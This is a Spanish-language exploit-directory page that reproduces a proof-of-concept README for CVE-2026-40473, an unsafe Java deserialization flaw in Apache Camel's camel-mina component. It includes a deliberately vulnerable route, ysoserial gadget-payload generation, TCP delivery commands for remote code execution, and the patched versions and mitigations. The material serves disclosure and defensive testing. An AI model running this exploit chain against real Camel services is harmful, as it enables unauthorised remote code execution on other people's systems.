Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40473 — Reproductor para CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput deserialización insegura (RCE sobre TCP/UDP) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40473
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproductor para CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput deserialización insegura (RCE sobre TCP/UDP)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

camel-mina MinaConverter.toObjectInput Reproductor de deserialización insegura (CVE-2026-40473)

Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-mina de Apache Camel, registrada como CVE-2026-40473. El convertidor de tipos MinaConverter.toObjectInput(IoBuffer) envuelve los bytes recibidos en un ObjectInputStream crudo sin ObjectInputFilter, por lo que una ruta que convierta un cuerpo TCP/UDP a ObjectInput y llame a readObject() puede ser llevada a ejecución remota de código por un atacante que envíe un objeto serializado manipulado al puerto MINA.

Aviso: https://camel.apache.org/security/CVE-2026-40473.html

Resumen de la vulnerabilidad

Detalles técnicos

El convertidor de tipos IoBuffer → ObjectInput envuelve el buffer en un ObjectInputStream crudo:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

Cuando un consumidor TCP/UDP de camel-mina entrega los bytes crudos (p. ej. con allowDefaultCodec=false) y la ruta solicita ObjectInput (getBody(ObjectInput.class), @Body ObjectInput o convertBodyTo(ObjectInput.class)), este convertidor se ejecuta. Llamar a readObject() en el flujo devuelto ejecuta cualquier cadena de gadgets presente en los bytes suministrados por el atacante.

La ruta víctima

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Requisitos previos

  • Java 17+ y Maven 3.8+ (para compilar el jar)
  • Docker (ejecuta el reproductor)
  • ysoserial (para la generación de payloads)

Pasos de reproducción

Paso 1: Compilar el jar e iniciar el contenedor

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Generar un payload malicioso

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Paso 3: Enviarlo por TCP al puerto MINA (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(El puerto MINA 5555 es interno al contenedor en esta PoC; el helper /exploit/inject realiza el envío TCP crudo desde el interior. Exponga el puerto 5555 para enviar desde el host con un cliente crudo como nc.)

Paso 4: Verificación

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Vectores de ataque

Cualquier consumidor TCP o UDP de camel-mina cuya ruta convierta el cuerpo a ObjectInput (directamente, mediante @Body ObjectInput o convertBodyTo(ObjectInput.class)) es explotable por cualquiera que pueda alcanzar el puerto MINA.

Condiciones de explotación

  1. Un consumidor TCP/UDP de camel-mina que solicite la conversión a ObjectInput de los bytes recibidos.
  2. Una librería de gadgets en el classpath (p. ej. commons-collections:3.2.1).

Corrección recomendada

Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección aplica un ObjectInputFilter / lista blanca de clases al convertidor (en línea con el endurecimiento aplicado a camel-netty, camel-jms y camel-infinispan).

Mitigación

Hasta actualizar:

  1. No convierta cuerpos MINA no confiables a ObjectInput / no los deserialice.
  2. Elimine las librerías de gadgets (actualice o elimine commons-collections 3.x).
  3. Restrinja el acceso de red al puerto MINA solo a pares de confianza.

Archivos

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-mina
Clase afectadaorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Deserialización de datos no confiables
ImpactoEjecución remota de código (RCE) sobre TCP/UDP
Versiones afectadasDesde 3.0.0 hasta antes de 4.14.6, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0
Versiones corregidas4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
ReporteroVenkatraman Kumar (Securin)